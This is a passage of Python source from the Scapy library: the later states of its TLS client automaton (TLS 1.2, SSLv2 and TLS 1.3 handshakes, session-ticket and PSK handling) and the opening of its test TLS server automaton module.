self.HANDLED_CHANGECIPHERSPEC) @ATMT.state() def HANDLED_CHANGECIPHERSPEC(self): pass @ATMT.condition(HANDLED_CHANGECIPHERSPEC) def should_handle_Finished(self): self.raise_on_packet(TLSFinished, self.HANDLED_SERVERFINISHED) @ATMT.state() def HANDLED_SERVERFINISHED(self): self.vprint("TLS handshake completed!") self.vprint_sessioninfo() self.vprint("You may send data or use 'quit'.") # end of TLS handshake # @ATMT.condition(HANDLED_SERVERFINISHED) def should_wait_ClientData(self): raise self.WAIT_CLIENTDATA() @ATMT.state() def WAIT_CLIENTDATA(self): pass @ATMT.condition(WAIT_CLIENTDATA, prio=1) def add_ClientData(self): r""" The user may type in: GET / HTTP/1.1\r\nHost: testserver.com\r\n\r\n Special characters are handled so that it becomes a valid HTTP request. """ if not self.data_to_send: if self.is_atmt_socket: # Socket mode fd = select_objects([self.ioin["tls"]], 0) if fd: self.add_record() self.add_msg(TLSApplicationData(data=fd[0].recv())) raise self.ADDED_CLIENTDATA() raise self.WAITING_SERVERDATA() else: data = input().replace('\\r', '\r').replace('\\n', '\n').encode() else: data = self.data_to_send.pop() if data == b"quit": return # Command to skip sending elif data == b"wait": raise self.WAITING_SERVERDATA() # Command to perform a key_update (for a TLS 1.3 session) elif data == b"key_update": if self.cur_session.tls_version >= 0x0304: self.add_record() self.add_msg(TLS13KeyUpdate(request_update="update_requested")) raise self.ADDED_CLIENTDATA() if self.linebreak: data += b"\n" self.add_record() self.add_msg(TLSApplicationData(data=data)) raise self.ADDED_CLIENTDATA() @ATMT.condition(WAIT_CLIENTDATA, prio=2) def no_more_ClientData(self): raise self.CLOSE_NOTIFY() @ATMT.state() def ADDED_CLIENTDATA(self): pass @ATMT.condition(ADDED_CLIENTDATA) def should_send_ClientData(self): self.flush_records() raise self.SENT_CLIENTDATA() @ATMT.state() def SENT_CLIENTDATA(self): raise self.WAITING_SERVERDATA() @ATMT.state() def WAITING_SERVERDATA(self): self.get_next_msg(0.3, 1) if not self.buffer_in: raise self.WAIT_CLIENTDATA() raise self.RECEIVED_SERVERDATA() @ATMT.state() def RECEIVED_SERVERDATA(self): pass @ATMT.condition(RECEIVED_SERVERDATA, prio=1) def should_handle_CertificateRequest_postauth(self): self.raise_on_packet(TLS13CertificateRequest, self.TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST) @ATMT.state() def TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST(self): self.vprint("Server asked for a certificate...") self.tls13_doing_client_postauth = True if not self.mykey or not self.mycert: self.vprint("No client certificate to send!") self.vprint("Will try and send an empty Certificate message...") self.add_record(is_tls13=True) @ATMT.condition(TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST, prio=1) def should_send_CertificateRequest_postauth(self): if self.cur_session.post_handshake_auth: self.tls13_should_add_ClientCertificate() @ATMT.condition(TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST, prio=2) def should_fail_CertificateRequest_postauth(self): self.add_msg(TLSAlert(level=2, descr=0x0A)) self.flush_records() self.vprint( "Received CertificateRequest without post_handshake_auth extension!" ) raise self.FINAL() @ATMT.condition(RECEIVED_SERVERDATA, prio=2) def should_handle_NewSessionTicket(self): self.raise_on_packet(TLS13NewSessionTicket, self.TLS13_RECEIVED_NEW_SESSION_TICKET) @ATMT.state() def TLS13_RECEIVED_NEW_SESSION_TICKET(self): pass @ATMT.condition(TLS13_RECEIVED_NEW_SESSION_TICKET) def should_store_session_ticket_file(self): # If arg session_ticket_file_out is set, we save # the ticket for resumption... if self.session_ticket_file_out: # Struct of ticket file : # * ciphersuite_len (1 byte) # * ciphersuite (ciphersuite_len bytes) : # we need to the store the ciphersuite for resumption # * ticket_nonce_len (1 byte) # * ticket_nonce (ticket_nonce_len bytes) : # we need to store the nonce to compute the PSK # for resumption # * ticket_age_len (2 bytes) # * ticket_age (ticket_age_len bytes) : # we need to store the time we received the ticket for # computing the obfuscated_ticket_age when resuming # * ticket_age_add_len (2 bytes) # * ticket_age_add (ticket_age_add_len bytes) : # we need to store the ticket_age_add value from the # ticket to compute the obfuscated ticket age # * ticket_len (2 bytes) # * ticket (ticket_len bytes) with open(self.session_ticket_file_out, 'wb') as f: f.write(struct.pack("B", 2)) # we choose wcs arbitrarily... f.write(struct.pack("!H", self.cur_session.wcs.ciphersuite.val)) f.write(struct.pack("B", self.cur_pkt.noncelen)) f.write(self.cur_pkt.ticket_nonce) f.write(struct.pack("!H", 4)) f.write(struct.pack("!I", int(time.time()))) f.write(struct.pack("!H", 4)) f.write(struct.pack("!I", self.cur_pkt.ticket_age_add)) f.write(struct.pack("!H", self.cur_pkt.ticketlen)) f.write(self.cur_session.client_session_ticket) self.vprint( "Received a TLS 1.3 NewSessionTicket that was stored to %s" % ( self.session_ticket_file_out ) ) else: self.vprint("Ignored TLS 1.3 NewSessionTicket.") raise self.WAIT_CLIENTDATA() @ATMT.condition(RECEIVED_SERVERDATA, prio=3) def should_handle_ServerData(self): p = self.buffer_in[0] if isinstance(p, TLSApplicationData): if self.is_atmt_socket: # Socket mode self.oi.tls.send(p.data) else: self.vprint("Received: %r" % p.data) elif isinstance(p, TLSAlert): self.vprint("Received: %r" % p) raise self.CLOSE_NOTIFY() else: self.vprint("Received: %r" % p) self.buffer_in = self.buffer_in[1:] raise self.HANDLED_SERVERDATA() @ATMT.state() def HANDLED_SERVERDATA(self): raise self.WAIT_CLIENTDATA() @ATMT.state() def CLOSE_NOTIFY(self): self.vprint() self.vprint("Trying to send a TLSAlert to the server...") @ATMT.condition(CLOSE_NOTIFY) def close_session(self): self.add_record() self.add_msg(TLSAlert(level=1, descr=0)) try: self.flush_records() except Exception: self.vprint("Could not send termination Alert, maybe the server stopped?") # noqa: E501 raise self.FINAL() # SSLv2 handshake # @ATMT.state() def SSLv2_PREPARE_CLIENTHELLO(self): pass @ATMT.condition(SSLv2_PREPARE_CLIENTHELLO) def sslv2_should_add_ClientHello(self): self.add_record(is_sslv2=True) p = self.client_hello or SSLv2ClientHello(challenge=randstring(16)) self.add_msg(p) raise self.SSLv2_ADDED_CLIENTHELLO() @ATMT.state() def SSLv2_ADDED_CLIENTHELLO(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTHELLO) def sslv2_should_send_ClientHello(self): self.flush_records() raise self.SSLv2_SENT_CLIENTHELLO() @ATMT.state() def SSLv2_SENT_CLIENTHELLO(self): raise self.SSLv2_WAITING_SERVERHELLO() @ATMT.state() def SSLv2_WAITING_SERVERHELLO(self): self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERHELLO() @ATMT.state() def SSLv2_RECEIVED_SERVERHELLO(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=1) def sslv2_should_handle_ServerHello(self): self.raise_on_packet(SSLv2ServerHello, self.SSLv2_HANDLED_SERVERHELLO) @ATMT.state() def SSLv2_HANDLED_SERVERHELLO(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=2) def sslv2_missing_ServerHello(self): raise self.SSLv2_MISSING_SERVERHELLO() @ATMT.state() def SSLv2_MISSING_SERVERHELLO(self): self.vprint("Missing SSLv2 ServerHello message!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.condition(SSLv2_HANDLED_SERVERHELLO) def sslv2_should_add_ClientMasterKey(self): self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientMasterKey()) raise self.SSLv2_ADDED_CLIENTMASTERKEY() @ATMT.state() def SSLv2_ADDED_CLIENTMASTERKEY(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTMASTERKEY) def sslv2_should_send_ClientMasterKey(self): self.flush_records() raise self.SSLv2_SENT_CLIENTMASTERKEY() @ATMT.state() def SSLv2_SENT_CLIENTMASTERKEY(self): raise self.SSLv2_WAITING_SERVERVERIFY() @ATMT.state() def SSLv2_WAITING_SERVERVERIFY(self): # We give the server 0.5 second to send his ServerVerify. # Else we assume that he's waiting for our ClientFinished. self.get_next_msg(0.5, 0) raise self.SSLv2_RECEIVED_SERVERVERIFY() @ATMT.state() def SSLv2_RECEIVED_SERVERVERIFY(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=1) def sslv2_should_handle_ServerVerify(self): self.raise_on_packet(SSLv2ServerVerify, self.SSLv2_HANDLED_SERVERVERIFY, get_next_msg=False) @ATMT.state() def SSLv2_HANDLED_SERVERVERIFY(self): pass def sslv2_should_add_ClientFinished(self): if self.in_handshake(SSLv2ClientFinished): return self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientFinished()) raise self.SSLv2_ADDED_CLIENTFINISHED() @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=1) def sslv2_should_add_ClientFinished_from_ServerVerify(self): return self.sslv2_should_add_ClientFinished() @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=2) def sslv2_should_wait_ServerFinished_from_ServerVerify(self): raise self.SSLv2_WAITING_SERVERFINISHED() @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=2) def sslv2_should_add_ClientFinished_from_NoServerVerify(self): return self.sslv2_should_add_ClientFinished() @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=3) def sslv2_missing_ServerVerify(self): raise self.SSLv2_MISSING_SERVERVERIFY() @ATMT.state(final=True) def SSLv2_MISSING_SERVERVERIFY(self): self.vprint("Missing SSLv2 ServerVerify message!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_ADDED_CLIENTFINISHED(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTFINISHED) def sslv2_should_send_ClientFinished(self): self.flush_records() raise self.SSLv2_SENT_CLIENTFINISHED() @ATMT.state() def SSLv2_SENT_CLIENTFINISHED(self): if self.in_handshake(SSLv2ServerVerify): raise self.SSLv2_WAITING_SERVERFINISHED() else: self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERVERIFY() @ATMT.state() def SSLv2_WAITING_SERVERFINISHED(self): self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERFINISHED() @ATMT.state() def SSLv2_RECEIVED_SERVERFINISHED(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=1) def sslv2_should_handle_ServerFinished(self): self.raise_on_packet(SSLv2ServerFinished, self.SSLv2_HANDLED_SERVERFINISHED) # SSLv2 client authentication # @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=2) def sslv2_should_handle_RequestCertificate(self): self.raise_on_packet(SSLv2RequestCertificate, self.SSLv2_HANDLED_REQUESTCERTIFICATE) @ATMT.state() def SSLv2_HANDLED_REQUESTCERTIFICATE(self): self.vprint("Server asked for a certificate...") if not self.mykey or not self.mycert: self.vprint("No client certificate to send!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.condition(SSLv2_HANDLED_REQUESTCERTIFICATE) def sslv2_should_add_ClientCertificate(self): self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientCertificate(certdata=self.mycert)) raise self.SSLv2_ADDED_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_ADDED_CLIENTCERTIFICATE(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTCERTIFICATE) def sslv2_should_send_ClientCertificate(self): self.flush_records() raise self.SSLv2_SENT_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_SENT_CLIENTCERTIFICATE(self): raise self.SSLv2_WAITING_SERVERFINISHED() # end of SSLv2 client authentication # @ATMT.state() def SSLv2_HANDLED_SERVERFINISHED(self): self.vprint("SSLv2 handshake completed!") self.vprint_sessioninfo() self.vprint("You may send data or use 'quit'.") @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=3) def sslv2_missing_ServerFinished(self): raise self.SSLv2_MISSING_SERVERFINISHED() @ATMT.state() def SSLv2_MISSING_SERVERFINISHED(self): self.vprint("Missing SSLv2 ServerFinished message!") raise self.SSLv2_CLOSE_NOTIFY() # end of SSLv2 handshake # @ATMT.condition(SSLv2_HANDLED_SERVERFINISHED) def sslv2_should_wait_ClientData(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_WAITING_CLIENTDATA(self): pass @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=1) def sslv2_add_ClientData(self): if not self.data_to_send: data = input().replace('\\r', '\r').replace('\\n', '\n').encode() else: data = self.data_to_send.pop() self.vprint("Read from list: %s" % data) if data == "quit": return if self.linebreak: data += "\n" self.add_record(is_sslv2=True) self.add_msg(Raw(data)) raise self.SSLv2_ADDED_CLIENTDATA() @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=2) def sslv2_no_more_ClientData(self): raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_ADDED_CLIENTDATA(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTDATA) def sslv2_should_send_ClientData(self): self.flush_records() raise self.SSLv2_SENT_CLIENTDATA() @ATMT.state() def SSLv2_SENT_CLIENTDATA(self): raise self.SSLv2_WAITING_SERVERDATA() @ATMT.state() def SSLv2_WAITING_SERVERDATA(self): self.get_next_msg(0.3, 1) raise self.SSLv2_RECEIVED_SERVERDATA() @ATMT.state() def SSLv2_RECEIVED_SERVERDATA(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERDATA) def sslv2_should_handle_ServerData(self): if not self.buffer_in: raise self.SSLv2_WAITING_CLIENTDATA() p = self.buffer_in[0] self.vprint("Received: %r" % p.load) if p.load.startswith(b"goodbye"): raise self.SSLv2_CLOSE_NOTIFY() self.buffer_in = self.buffer_in[1:] raise self.SSLv2_HANDLED_SERVERDATA() @ATMT.state() def SSLv2_HANDLED_SERVERDATA(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_CLOSE_NOTIFY(self): """ There is no proper way to end an SSLv2 session. We try and send a 'goodbye' message as a substitute. """ self.vprint() self.vprint("Trying to send a 'goodbye' to the server...") @ATMT.condition(SSLv2_CLOSE_NOTIFY) def sslv2_close_session(self): self.add_record() self.add_msg(Raw('goodbye')) try: self.flush_records() except Exception: self.vprint("Could not send our goodbye. The server probably stopped.") # noqa: E501 self.socket.close() raise self.FINAL() # TLS 1.3 handshake # @ATMT.state() def TLS13_START(self): pass @ATMT.condition(TLS13_START) def tls13_should_add_ClientHello(self): # we have to use the legacy, plaintext TLS record here self.add_record(is_tls13=False) if self.client_hello: p = self.client_hello else: if self.ciphersuite is None: c = 0x1301 else: c = self.ciphersuite p = TLS13ClientHello(ciphers=c) ext = [] ext += TLS_Ext_SupportedVersion_CH(versions=[self.advertised_tls_version]) s = self.cur_session # Add TLS_Ext_ServerName if self.server_name: ext += TLS_Ext_ServerName( servernames=[ServerName(servername=self.server_name)] ) # Add TLS_Ext_PostHandshakeAuth if self.mycert is not None and self.mykey is not None: ext += TLS_Ext_PostHandshakeAuth() if s.tls13_psk_secret: # Check if DHE is need (both for out of band and resumption PSK) if self.tls13_psk_mode == "psk_dhe_ke": ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_dhe_ke") ext += TLS_Ext_SupportedGroups(groups=self.supported_groups) ext += TLS_Ext_KeyShare_CH( client_shares=[KeyShareEntry(group=self.curve)] ) else: ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_ke") # RFC8446, section 4.2.11. # "The "pre_shared_key" extension MUST be the last extension # in the ClientHello " # Compute the pre_shared_key extension for resumption PSK if s.client_session_ticket: cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] # noqa: E501 hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size # We compute the client's view of the age of the ticket (ie # the time since the receipt of the ticket) in ms agems = int((time.time() - s.client_ticket_age) * 1000) # Then we compute the obfuscated version of the ticket age # by adding the "ticket_age_add" value included in the # ticket (modulo 2^32) obfuscated_age = ((agems + s.client_session_ticket_age_add) & 0xffffffff) psk_id = PSKIdentity(identity=s.client_session_ticket, obfuscated_ticket_age=obfuscated_age) psk_binder_entry = PSKBinderEntry(binder_len=hash_len, binder=b"\x00" * hash_len) ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], binders=[psk_binder_entry]) else: # Compute the pre_shared_key extension for out of band PSK # (SHA256 is used as default hash function for HKDF for out # of band PSK) hkdf = TLS13_HKDF("sha256") hash_len = hkdf.hash.digest_size psk_id = PSKIdentity(identity='Client_identity') # XXX see how to not pass binder as argument psk_binder_entry = PSKBinderEntry(binder_len=hash_len, binder=b"\x00" * hash_len) ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], binders=[psk_binder_entry]) else: ext += TLS_Ext_SupportedGroups(groups=self.supported_groups) ext += TLS_Ext_KeyShare_CH( client_shares=[KeyShareEntry(group=self.curve)] ) ext += TLS_Ext_SignatureAlgorithms( sig_algs=self.supported_signature_algorithms, ) p.ext = ext self.add_msg(p) raise self.TLS13_ADDED_CLIENTHELLO() @ATMT.state() def TLS13_ADDED_CLIENTHELLO(self): raise self.TLS13_SENDING_CLIENTFLIGHT1() @ATMT.state() def TLS13_SENDING_CLIENTFLIGHT1(self): pass @ATMT.condition(TLS13_SENDING_CLIENTFLIGHT1) def tls13_should_send_ClientFlight1(self): self.flush_records() raise self.TLS13_SENT_CLIENTFLIGHT1() @ATMT.state() def TLS13_SENT_CLIENTFLIGHT1(self): raise self.TLS13_WAITING_SERVERFLIGHT1() @ATMT.state() def TLS13_WAITING_SERVERFLIGHT1(self): self.get_next_msg() raise self.TLS13_RECEIVED_SERVERFLIGHT1() @ATMT.state() def TLS13_RECEIVED_SERVERFLIGHT1(self): pass @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=1) def tls13_should_handle_ServerHello(self): """ XXX We should check the ServerHello attributes for discrepancies with our own ClientHello. """ self.raise_on_packet(TLS13ServerHello, self.TLS13_HANDLED_SERVERHELLO) @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=2) def tls13_should_handle_HelloRetryRequest(self): """ XXX We should check the ServerHello attributes for discrepancies with our own ClientHello. """ self.raise_on_packet(TLS13HelloRetryRequest, self.TLS13_HELLO_RETRY_REQUESTED) @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=3) def tls13_should_handle_AlertMessage_(self): self.raise_on_packet(TLSAlert, self.TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1) @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=4) def tls13_should_handle_ChangeCipherSpec_after_tls13_retry(self): # Middlebox compatibility mode after a HelloRetryRequest. if self.cur_session.tls13_retry: self.raise_on_packet(TLSChangeCipherSpec, self.TLS13_RECEIVED_SERVERFLIGHT1) @ATMT.state() def TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1(self): self.vprint("Received Alert message !") self.vprint(self.cur_pkt.mysummary()) raise self.CLOSE_NOTIFY() @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=5) def tls13_missing_ServerHello(self): raise self.MISSING_SERVERHELLO() @ATMT.state() def TLS13_HELLO_RETRY_REQUESTED(self): pass @ATMT.condition(TLS13_HELLO_RETRY_REQUESTED) def tls13_should_add_ClientHello_Retry(self): s = self.cur_session s.tls13_retry = True # We retrieve the group to be used and the selected version from the # previous message hrr = self.cur_pkt self.ciphersuite = hrr.cipher # "The server's extensions MUST contain supported_versions." self.advertised_tls_version = None if hrr.ext: for e in hrr.ext: if isinstance(e, TLS_Ext_KeyShare_HRR): self.curve = e.selected_group if isinstance(e, TLS_Ext_SupportedVersion_SH): self.advertised_tls_version = e.version if _tls_named_groups[self.curve] not in self.supported_groups: self.vprint("No common groups found in TLS 1.3 Hello Retry Request!") raise self.CLOSE_NOTIFY() if not self.advertised_tls_version: self.vprint("No supported_versions found in TLS 1.3 Hello Retry Request!") raise self.CLOSE_NOTIFY() self.tls13_should_add_ClientHello() @ATMT.state() def TLS13_HANDLED_SERVERHELLO(self): pass @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=1) def tls13_should_handle_encrytpedExtensions(self): self.raise_on_packet(TLSEncryptedExtensions, self.TLS13_HANDLED_ENCRYPTEDEXTENSIONS) @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=2) def tls13_should_handle_ChangeCipherSpec(self): self.raise_on_packet(TLSChangeCipherSpec, self.TLS13_HANDLED_CHANGE_CIPHER_SPEC) @ATMT.state() def TLS13_HANDLED_CHANGE_CIPHER_SPEC(self): self.cur_session.middlebox_compatibility = True raise self.TLS13_HANDLED_SERVERHELLO() @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=3) def tls13_missing_encryptedExtension(self): self.vprint("Missing TLS 1.3 EncryptedExtensions message!") raise self.CLOSE_NOTIFY() @ATMT.state() def TLS13_HANDLED_ENCRYPTEDEXTENSIONS(self): pass @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=1) def tls13_should_handle_certificateRequest_from_encryptedExtensions(self): """ XXX We should check the CertificateRequest attributes for discrepancies with the cipher suite, etc. """ self.raise_on_packet(TLS13CertificateRequest, self.TLS13_HANDLED_CERTIFICATEREQUEST) @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=2) def tls13_should_handle_certificate_from_encryptedExtensions(self): self.tls13_should_handle_Certificate() @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=3) def tls13_should_handle_finished_from_encryptedExtensions(self): if self.cur_session.tls13_psk_secret: self.raise_on_packet(TLSFinished, self.TLS13_HANDLED_FINISHED) @ATMT.state() def TLS13_HANDLED_CERTIFICATEREQUEST(self): pass @ATMT.condition(TLS13_HANDLED_CERTIFICATEREQUEST, prio=1) def tls13_should_handle_Certificate_from_CertificateRequest(self): return self.tls13_should_handle_Certificate() def tls13_should_handle_Certificate(self): self.raise_on_packet(TLS13Certificate, self.TLS13_HANDLED_CERTIFICATE) @ATMT.state() def TLS13_HANDLED_CERTIFICATE(self): pass @ATMT.condition(TLS13_HANDLED_CERTIFICATE, prio=1) def tls13_should_handle_CertificateVerify(self): self.raise_on_packet(TLSCertificateVerify, self.TLS13_HANDLED_CERTIFICATE_VERIFY) @ATMT.condition(TLS13_HANDLED_CERTIFICATE, prio=2) def tls13_missing_CertificateVerify(self): self.vprint("Missing TLS 1.3 CertificateVerify message!") raise self.CLOSE_NOTIFY() @ATMT.state() def TLS13_HANDLED_CERTIFICATE_VERIFY(self): pass @ATMT.condition(TLS13_HANDLED_CERTIFICATE_VERIFY, prio=1) def tls13_should_handle_finished(self): self.raise_on_packet(TLSFinished, self.TLS13_HANDLED_FINISHED) @ATMT.state() def TLS13_HANDLED_FINISHED(self): raise self.TLS13_PREPARE_CLIENTFLIGHT2() @ATMT.state() def TLS13_PREPARE_CLIENTFLIGHT2(self): if self.cur_session.middlebox_compatibility: self.add_record(is_tls12=True) self.add_msg(TLSChangeCipherSpec()) self.add_record(is_tls13=True) @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2, prio=1) def tls13_should_add_ClientCertificate(self): """ If the server sent a CertificateRequest, we send a Certificate message. If no certificate is available, an empty Certificate message is sent: - this is a SHOULD in RFC 4346 (Section 7.4.6) - this is a MUST in RFC 5246 (Section 7.4.6) XXX We may want to add a complete chain. """ if not (isinstance(self.cur_pkt, TLS13CertificateRequest) or self.in_handshake(TLS13CertificateRequest)): return certs = [] if self.mycert: certs += _ASN1CertAndExt(cert=self.mycert) self.add_msg( TLS13Certificate( certs=certs, cert_req_ctxt=self.cur_session.tls13_cert_req_ctxt, ) ) raise self.TLS13_ADDED_CLIENTCERTIFICATE() @ATMT.state() def TLS13_ADDED_CLIENTCERTIFICATE(self): pass @ATMT.condition(TLS13_ADDED_CLIENTCERTIFICATE, prio=0) def tls13_should_skip_ClientCertificateVerify(self): if not self.mycert: return self.tls13_should_add_ClientFinished() @ATMT.condition(TLS13_ADDED_CLIENTCERTIFICATE, prio=1) def tls13_should_add_ClientCertificateVerify(self): """ XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify message is only sent following a client certificate that has signing capability (i.e. not those containing fixed DH params). We should verify that before adding the message. We should also handle the case when the Certificate message was empty. """ self.add_msg(TLSCertificateVerify()) raise self.TLS13_ADDED_CERTIFICATEVERIFY() @ATMT.state() def TLS13_ADDED_CERTIFICATEVERIFY(self): return self.tls13_should_add_ClientFinished() @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2, prio=2) def tls13_should_add_ClientFinished(self): self.add_msg(TLSFinished()) raise self.TLS13_ADDED_CLIENTFINISHED() @ATMT.state() def TLS13_ADDED_CLIENTFINISHED(self): pass @ATMT.condition(TLS13_ADDED_CLIENTFINISHED) def tls13_should_send_ClientFlight2(self): self.flush_records() raise self.TLS13_SENT_CLIENTFLIGHT2() @ATMT.state() def TLS13_SENT_CLIENTFLIGHT2(self): if self.tls13_doing_client_postauth: self.tls13_doing_client_postauth = False self.vprint("TLS 1.3 post-handshake authentication sent!") raise self.WAIT_CLIENTDATA() self.vprint("TLS 1.3 handshake completed!") self.vprint_sessioninfo() self.vprint("You may send data or use 'quit'.") raise self.WAIT_CLIENTDATA() @ATMT.state() def SOCKET_CLOSED(self): raise self.FINAL() @ATMT.state(stop=True) def STOP(self): # Called on atmt.stop() if self.cur_session.advertised_tls_version in [0x0200, 0x0002]: raise self.SSLv2_CLOSE_NOTIFY() else: raise self.CLOSE_NOTIFY() @ATMT.state(final=True) def FINAL(self): # We might call shutdown, but it may happen that the server # did not wait for us to shutdown after answering our data query. # self.socket.shutdown(1) self.vprint("Closing client socket...") self.socket.close() self.vprint("Ending TLS client automaton.") ================================================ FILE: scapy/layers/tls/automaton_srv.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez """ TLS server automaton. This makes for a primitive TLS stack. Obviously you need rights for network access. We support versions SSLv2 to TLS 1.3, along with many features. In order to run a server listening on tcp/4433:: from scapy.layers.tls import * t = TLSServerAutomaton(mycert='', mykey='') t.run() """ import socket import binascii import struct import time from scapy.config import conf from scapy.packet import Raw from scapy.pton_ntop import inet_pton from scapy.utils import get_temp_file, randstring, repr_hex from scapy.automaton import ATMT from scapy.error import warning from scapy.layers.tls.automaton import _TLSAutomaton from scapy.layers.tls.cert import PrivKeyRSA, PrivKeyECDSA, PrivKeyEdDSA from scapy.layers.tls.basefields import _tls_version from scapy.layers.tls.session import tlsSession from scapy.layers.tls.crypto.groups import _tls_named_groups from scapy.layers.tls.extensions import ( TLS_Ext_Cookie, TLS_Ext_EarlyDataIndicationTicket, TLS_Ext_PSKKeyExchangeModes, TLS_Ext_RenegotiationInfo, TLS_Ext_SignatureAlgorithms, TLS_Ext_SupportedGroups, TLS_Ext_SupportedVersion_SH, ) from scapy.layers.tls.keyexchange import _tls_hash_sig from scapy.layers.tls.keyexchange_tls13 import ( TLS_Ext_KeyShare_SH, KeyShareEntry, TLS_Ext_KeyShare_HRR, TLS_Ext_PreSharedKey_CH, TLS_Ext_PreSharedKey_SH, get_usable_tls13_sigalgs, ) from scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \ TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, TLSFinished, \ TLSServerHello, TLSServerHelloDone, TLSServerKeyExchange, \ _ASN1CertAndExt, TLS13ServerHello, TLS13Certificate, TLS13ClientHello, \ TLSEncryptedExtensions, TLS13HelloRetryRequest, TLS13CertificateRequest, \ TLS13KeyUpdate, TLS13NewSessionTicket from scapy.layers.tls.handshake_sslv2 import SSLv2ClientCertificate, \ SSLv2ClientFinished, SSLv2ClientHello, SSLv2ClientMasterKey, \ SSLv2RequestCertificate, SSLv2ServerFinished, SSLv2ServerHello, \ SSLv2ServerVerify from scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \ TLSApplicationData from scapy.layers.tls.record_tls13 import TLS13 from scapy.layers.tls.crypto.hkdf import TLS13_HKDF from scapy.layers.tls.crypto.suites import ( _tls_cipher_suites_cls, _tls_cipher_suites, get_usable_ciphersuites, ) # Typing imports from typing import ( Optional, Union, ) if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes class TLSServerAutomaton(_TLSAutomaton): """ A simple TLS test server automaton. Try to overload some states or conditions and see what happens on the other side. Because of socket and automaton limitations, for now, the best way to interrupt the server is by sending him 'stop_server'. Interruptions with Ctrl-Z should work, but this might leave a loose listening socket behind. In case the server receives a TLSAlert (whatever its type), or a 'goodbye' message in a SSLv2 version, he will close the client session with a similar message, and start waiting for new client connections. _'mycert' and 'mykey' may be provided as filenames. They are needed for any server authenticated handshake. _'preferred_ciphersuite' allows the automaton to choose a cipher suite when offered in the ClientHello. If absent, another one will be chosen. _'client_auth' means the client has to provide a certificate. _'is_echo_server' means that everything received will be sent back. _'max_client_idle_time' is the maximum silence duration from the client. Once this limit has been reached, the client (if still here) is dropped, and we wait for a new connection. """ def parse_args(self, server="127.0.0.1", sport=4433, mycert=None, mykey=None, preferred_ciphersuite: Optional[int] = None, preferred_signature_algorithm: Union[str, int, None] = None, client_auth=False, is_echo_server=True, max_client_idle_time=60, handle_session_ticket=None, session_ticket_file=None, curve=None, cookie=False, psk=None, psk_mode=None, **kargs): super(TLSServerAutomaton, self).parse_args(mycert=mycert, mykey=mykey, **kargs) try: if ':' in server: inet_pton(socket.AF_INET6, server) else: inet_pton(socket.AF_INET, server) tmp = socket.getaddrinfo(server, sport) except Exception: tmp = socket.getaddrinfo(socket.getfqdn(server), sport) self.serversocket = None self.ip_family = tmp[0][0] self.local_ip = tmp[0][4][0] self.local_port = sport self.remote_ip = None self.remote_port = None self.client_auth = client_auth self.is_echo_server = is_echo_server 